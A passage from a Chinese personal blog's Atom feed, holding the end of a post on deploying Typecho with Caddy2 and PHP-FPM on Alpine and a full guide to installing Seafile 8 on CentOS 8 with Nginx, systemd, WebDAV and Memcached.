caddy</span><br><span class="line">listen.group = caddy</span><br><span class="line">listen.mode = 0660</span><br></pre></td></tr></table></figure><h2 id="配置-Caddy2"><a href="#配置-Caddy2" class="headerlink" title="配置 Caddy2"></a>配置 Caddy2</h2><p>配置文件如下，写的比较简单，没有配置缓存等 header 信息：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">carefu.link &#123;</span><br><span class="line">root * /public/home</span><br><span class="line">file_server</span><br><span class="line">php_fastcgi unix//var/run/php-fpm.sock</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="开机自启动"><a href="#开机自启动" class="headerlink" title="开机自启动"></a>开机自启动</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">rc-update add caddy</span><br><span class="line">rc-update add php-fpm7</span><br><span class="line">rc-update add memcached</span><br></pre></td></tr></table></figure><h3 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">rc-service caddy start</span><br><span class="line">rc-service php-fpm7 start</span><br><span class="line">rc-service memcached start</span><br></pre></td></tr></table></figure><h3 id="配置文件权限"><a href="#配置文件权限" class="headerlink" title="配置文件权限"></a>配置文件权限</h3><p>安装 Typecho 过程中，需要修改 <code>/public/home</code> ​文件夹权限，避免安装过程中目录不可写。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> caddy:caddy -R /public/home</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://careful.fyi/posts/1684295227/</id>
    <link href="https://careful.fyi/posts/1684295227/"/>
    <published>2023-05-17T03:47:07.000Z</published>
    <summary>
      <![CDATA[<p>最近在逛 NodeSeek 时，看到网友分享的阿里云通过自定义镜像 156 块购买 5 年云服务器的办法，但存储只有 1G，使用 Docker 部署后存储空间太小，所以考虑直接用包管理来安装 Caddy2+PHP-FPM 来部署 Typecho 博客。</p>
<h2 id]]>
    </summary>
    <title>在Alpine环境下使用包管理部署Typecho博客</title>
    <updated>2026-02-28T05:30:27.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="CentOS" scheme="https://careful.fyi/tags/CentOS/"/>
    <category term="Seafile" scheme="https://careful.fyi/tags/Seafile/"/>
    <category term="私有云" scheme="https://careful.fyi/tags/%E7%A7%81%E6%9C%89%E4%BA%91/"/>
    <category term="Linux" scheme="https://careful.fyi/tags/Linux/"/>
    <content>
      <![CDATA[<p>使用 Seafile 已经好几年，日常中使用它来同步照片、同步 Enpass 的密码库、存储历史文档，6.X 版本持续运行几年也未发生问题，因为备案政策越来越繁杂等原因，不得不重新购置一台海外服务器来重新部署一下 Seafile，由于 Seafile7 以上版本对 Python 版本要求提高到 3.X，图省事系统镜像就直接选用了 CentOS 8，由于服务器中已安装其他服务，未避免出现不可预知的问题，这里选择手动安装，觉得麻烦的可以使用 Seafile 官方提供的一键安装脚本。</p><h2 id="安装-Seafile"><a href="#安装-Seafile" class="headerlink" title="安装 Seafile"></a>安装 Seafile</h2><p>我选择将 Seafile 安装到 <code>/usr/local/seafile</code> ​目录，可根据实际需求进行修改，本次安装版本为 8.0.7（2021-08-29），可前往 Seafile 官网下载页面获取最新版本下载链接。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /usr/local/seafile</span><br><span class="line"><span class="built_in">cd</span> /usr/local/seafile</span><br><span class="line">wget https://seafile-downloads.oss-cn-shanghai.aliyuncs.com/seafile-server_8.0.8_x86-64.tar.gz</span><br><span class="line">tar -xzf seafile-server_*</span><br><span class="line"><span class="built_in">mkdir</span> installed</span><br><span class="line"><span class="built_in">mv</span> seafile-server_* installed</span><br></pre></td></tr></table></figure><h3 id="安装相关依赖"><a href="#安装相关依赖" class="headerlink" title="安装相关依赖"></a>安装相关依赖</h3><p>如使用 Sqlite 安装，依赖组件中的 mysql 部分可不进行安装。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install python3 python3-setuptools python3-pip python3-ldap python3-devel gcc gcc-c++ -y pip3 install --<span class="built_in">timeout</span>=3600 django==2.2.* future Pillow pylibmc captcha jinja2 sqlalchemy==1.4.3 psd-tools django-pylibmc django-simple-captcha</span><br></pre></td></tr></table></figure><h3 id="用户配置"><a href="#用户配置" class="headerlink" title="用户配置"></a>用户配置</h3><p>为避免安全隐患，建议使用非 Root 账户运行 Seafile，这里创建名为“seafile”的账户执行后续安装。因为仅个人使用的原因，这里选择轻量级的 Sqlite 数据库进行安装。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">useradd --system --comment <span class="string">&quot;&quot;</span>seafile<span class="string">&quot;&quot;</span> seafile --home-dir  /usr/local/seafile</span><br><span class="line"><span class="built_in">chown</span> seafile:seafile -R /usr/local/seafile</span><br><span class="line">su seafile</span><br><span class="line"><span class="built_in">cd</span> /usr/local/seafile/seafile-server-*</span><br><span class="line">./setup-seafile.sh</span><br></pre></td></tr></table></figure><h3 id="初始化-Seafile"><a href="#初始化-Seafile" class="headerlink" title="初始化 Seafile"></a>初始化 Seafile</h3><p>完成以上安装步骤后，可以尝试初次启动 Seafile，确保 Seafile 能够正常运行的同时对 Seafile 进行创建管理员账号等初始化操作。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./seafile.sh start </span><br><span class="line">./seahub.sh start</span><br></pre></td></tr></table></figure><p>如无问题，Seafile 及 Seahub 服务应该能正常启动，如果遇到启动失败，可尝试执行 <code>./seahub.shstart-fastcgi</code> ​查看无法正常启动的原因。新版 Seafile 的 8000 端口默认监听在 127.0.0.1 地址上，无法通过 IP+ 端口的方式进行访问，需要配置 Nginx 反向代理，或者修改 Seafile 安装目录下 conf 中的 <code>gunicorn.conf.py</code> ​文件，将监听地址由 127.0.0.1:8080 改为 0.0.0.0:8080。<br>完成安装后，记得执行 <code>su root</code> ​切换回 Root 账户，为避免权限问题造成的麻烦，后续配置将在 Root 账户下进行。</p><h2 id="配置-Nginx​"><a href="#配置-Nginx​" class="headerlink" title="配置 Nginx​"></a>配置 Nginx​</h2><p>这里提供一份 Nginx 配置示例文件，可以根据实际情况修改 server_name、ssl_certificate、ssl_certificate_key、access_log、error_log 以及 media 路径，如果不需要 Webdav 服务，可删除配置文件中的 seafdav 部分。</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span> <span class="number">80</span>;</span><br><span class="line">    <span class="attribute">server_name</span> cloud.careful.fyi;</span><br><span class="line">    <span class="attribute">return</span> <span class="number">301</span> https://<span class="variable">$host</span><span class="variable">$request_uri</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span> <span class="number">443</span> ssl http2;</span><br><span class="line">    <span class="attribute">server_name</span> cloud.carefu.link;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># SSL</span></span><br><span class="line">    <span class="attribute">ssl_certificate</span> /usr/local/nginx/conf/ssl/carefu.link.cer;</span><br><span class="line">    <span class="attribute">ssl_certificate_key</span> /usr/local/nginx/conf/ssl/carefu.link.key;</span><br><span class="line">    <span class="attribute">ssl_trusted_certificate</span> /usr/local/nginx/conf/ssl/certificate.cer;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Security Headers</span></span><br><span class="line">    <span class="attribute">add_header</span> X-XSS-Protection <span class="string">&quot;&quot;</span><span class="number">1</span>; mode=block&quot;&quot; always;</span><br><span class="line">    <span class="attribute">add_header</span> X-Content-Type-Options <span class="string">&quot;&quot;</span>nosniff<span class="string">&quot;&quot;</span> always;</span><br><span class="line">    <span class="attribute">add_header</span> Referrer-Policy <span class="string">&quot;&quot;</span><span class="literal">no</span>-referrer-when-downgrade<span class="string">&quot;&quot;</span> always;</span><br><span class="line">    <span class="attribute">add_header</span> Content-Security-Policy <span class="string">&quot;&quot;</span>default-src <span class="string">&#x27;self&#x27;</span> http: https: data: blob: <span class="string">&#x27;unsafe-inline&#x27;</span>; frame-<span class="attribute">ancestors</span> <span class="string">&#x27;self&#x27;</span>;&quot;&quot; always;</span><br><span class="line">    <span class="attribute">add_header</span> Permissions-Policy <span class="string">&quot;&quot;</span>interest-cohort=()<span class="string">&quot;&quot;</span> always;</span><br><span class="line">    <span class="attribute">add_header</span> Strict-Transport-Security <span class="string">&quot;&quot;</span>max-age=<span class="number">31536000</span>; includeSubDomains; preload&quot;&quot; always;</span><br><span class="line"></span><br><span class="line">    <span class="section">location</span> / &#123;</span><br><span class="line">        <span class="attribute">proxy_pass</span> http://127.0.0.1:8000;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-Host <span class="variable">$server_name</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-Proto https;</span><br><span class="line"></span><br><span class="line">        <span class="attribute">access_log</span> /data/wwwlogs/seahub.access.log;</span><br><span class="line">        <span class="attribute">error_log</span> /data/wwwlogs/seahub.<span class="literal">error</span>.log;</span><br><span class="line"></span><br><span class="line">        <span class="attribute">proxy_read_timeout</span> <span class="number">1200s</span>;</span><br><span class="line">        <span class="attribute">client_max_body_size</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="section">location</span> /seafhttp &#123;</span><br><span class="line">        <span class="attribute">rewrite</span><span class="regexp"> ^/seafhttp(.*)$</span> <span class="variable">$1</span> <span class="literal">break</span>;</span><br><span class="line">        <span class="attribute">proxy_pass</span> http://127.0.0.1:8082;</span><br><span class="line">        <span class="attribute">client_max_body_size</span> <span class="number">0</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line">        <span class="attribute">proxy_connect_timeout</span> <span class="number">36000s</span>;</span><br><span class="line">        <span class="attribute">proxy_read_timeout</span> <span class="number">36000s</span>;</span><br><span class="line">        <span class="attribute">proxy_send_timeout</span> <span class="number">36000s</span>;</span><br><span class="line">        <span class="attribute">send_timeout</span> <span class="number">36000s</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="section">location</span> /seafdav &#123;</span><br><span class="line">        <span class="attribute">proxy_pass</span> http://127.0.0.1:8080/seafdav;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-Host <span class="variable">$server_name</span>;</span><br><span class="line">        <span class="attribute">proxy_set_header</span> X-Forwarded-Proto <span class="variable">$scheme</span>;</span><br><span class="line">        <span class="attribute">proxy_read_timeout</span> <span class="number">1200s</span>;</span><br><span class="line">        <span class="attribute">client_max_body_size</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="attribute">access_log</span> /data/wwwlogs/seafdav.access.log;</span><br><span class="line">        <span class="attribute">error_log</span> /data/wwwlogs/seafdav.<span class="literal">error</span>.log;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="section">location</span> /media &#123;</span><br><span class="line">        <span class="attribute">root</span> /usr/local/seafile/seafile-server-latest/seahub;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改完 Nginx 配置文件后使用 <code>nginx -t</code> ​验证配置文件，如无报错，执行 <code>systemctl restart nginx</code> ​重启 Nginx。现在，你可以使用域名访问 Seafile，使用初始化时设置的账号密码登录后点击右上角进入系统管理，这里需要对设置中的 SERVICE_URL 和 FILE_SERVER_ROOT 进行修改，参考如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://careful.fyi <span class="comment">#SERVICE_URL </span></span><br><span class="line">https://careful.fyi/seafhttp <span class="comment">#FILE_SERVER_ROOT</span></span><br></pre></td></tr></table></figure><h2 id="配置开机启动"><a href="#配置开机启动" class="headerlink" title="配置开机启动"></a>配置开机启动</h2><p>这里需要在 <code>/etc/systemd/system/</code> ​目录下创建名为 <code>seafile.service</code> ​和 <code>seahub.service</code> ​的 systemd 服务管理文件。</p><h4 id="seafile-service"><a href="#seafile-service" class="headerlink" title="seafile.service"></a>seafile.service</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[Unit] Description=Seafile <span class="comment"># add mysql.service or postgresql.service depending on your database to the line below </span></span><br><span class="line">After=network.target  </span><br><span class="line"></span><br><span class="line">[Service] </span><br><span class="line">Type=oneshot </span><br><span class="line">ExecStart=/usr/local/seafile/seafile-server-latest/seafile.sh start </span><br><span class="line">ExecStop=/usr/local/seafile/seafile-server-latest/seafile.sh stop </span><br><span class="line">RemainAfterExit=<span class="built_in">yes</span> </span><br><span class="line">User=seafile </span><br><span class="line">Group=seafile  </span><br><span class="line"></span><br><span class="line">[Install] WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h4 id="seahub-service"><a href="#seahub-service" class="headerlink" title="seahub.service"></a>seahub.service</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[Unit] </span><br><span class="line">Description=Seafile hub </span><br><span class="line">After=network.target seafile.service</span><br><span class="line"></span><br><span class="line">[Service] </span><br><span class="line"><span class="comment"># change start to start-fastcgi if you want to run fastcgi </span></span><br><span class="line">ExecStart=/usr/local/seafile/seafile-server-latest/seahub.sh start </span><br><span class="line">ExecStop=/usr/local/seafile/seafile-server-latest/seahub.sh stop </span><br><span class="line">User=seafile </span><br><span class="line">Group=seafile </span><br><span class="line">Type=oneshot </span><br><span class="line">RemainAfterExit=<span class="built_in">yes</span>  </span><br><span class="line"></span><br><span class="line">[Install] </span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h3 id="设置开机启动服务"><a href="#设置开机启动服务" class="headerlink" title="设置开机启动服务"></a>设置开机启动服务</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> seafile.service </span><br><span class="line">systemctl <span class="built_in">enable</span> seahub.service</span><br></pre></td></tr></table></figure><h2 id="配置-Webdav"><a href="#配置-Webdav" class="headerlink" title="配置 Webdav"></a>配置 Webdav</h2><p>修改 Seafile 安装目录下 conf 中的 <code>seafdav.conf</code> ​文件，参考如下，其中 share_name 部分可根据实际需求进行修改，注意同时需要修改 Nginx 配置文件中的相应部分。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[WEBDAV] </span><br><span class="line">enabled = <span class="literal">true</span> </span><br><span class="line">port = 8080 </span><br><span class="line">share_name = /seafdav</span><br></pre></td></tr></table></figure><p>配置完成后，需执行 <code>./seafile.shrestart</code> ​重启 Seafile 服务。</p><h2 id="配置-Memcached"><a href="#配置-Memcached" class="headerlink" title="配置 Memcached"></a>配置 Memcached</h2><p>事实上，仅个人使用是无需配置 Memcached 缓存的，但这台服务器本身已有 Memcached 服务为博客提供缓存，便顺手为 Seafile 进行配置。需要修改 Seafile 安装目录下 conf 中的 seahub_settings.py 文件，将以下内容加入其中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">CACHES = &#123;</span><br><span class="line">    <span class="string">&#x27;default&#x27;</span>: &#123;</span><br><span class="line">        <span class="string">&#x27;BACKEND&#x27;</span>: <span class="string">&#x27;django_pylibmc.memcached.PyLibMCCache&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;LOCATION&#x27;</span>: <span class="string">&#x27;127.0.0.1:11211&#x27;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&#x27;locmem&#x27;</span>: &#123;</span><br><span class="line">        <span class="string">&#x27;BACKEND&#x27;</span>: <span class="string">&#x27;django.core.cache.backends.locmem.LocMemCache&#x27;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;</span><br><span class="line">COMPRESS_CACHE_BACKEND = <span class="string">&#x27;locmem&#x27;</span></span><br></pre></td></tr></table></figure><p>保存文件后，记得执行 <code>./seahub.shrestart</code> ​重启 seahub 服务。现在，你可以安心的享受 Seafile 为生活、工作带来的便利了。<br>Seafile 作为私有云盘而言，无疑是很优秀的，完善的客户端、丰富的支持文档，让安装、使用变得更简单，同时相对于 ownCloud 等而言，则拥有更好的性能。免费社区版对于个人而言，是完全够用的。</p>]]>
    </content>
    <id>https://careful.fyi/posts/1630221682/</id>
    <link href="https://careful.fyi/posts/1630221682/"/>
    <published>2021-08-29T07:21:22.000Z</published>
    <summary>
      <![CDATA[<p>使用 Seafile 已经好几年，日常中使用它来同步照片、同步 Enpass 的密码库、存储历史文档，6.X 版本持续运行几年也未发生问题，因为备案政策越来越繁杂等原因，不得不重新购置一台海外服务器来重新部署一下 Seafile，由于 Seafile7 以上版本对 Pyth]]>
    </summary>
    <title>手动在CentOS 8下安装Seafile，搭建私有云</title>
    <updated>2026-02-28T05:32:22.000Z</updated>
  </entry>
</feed>
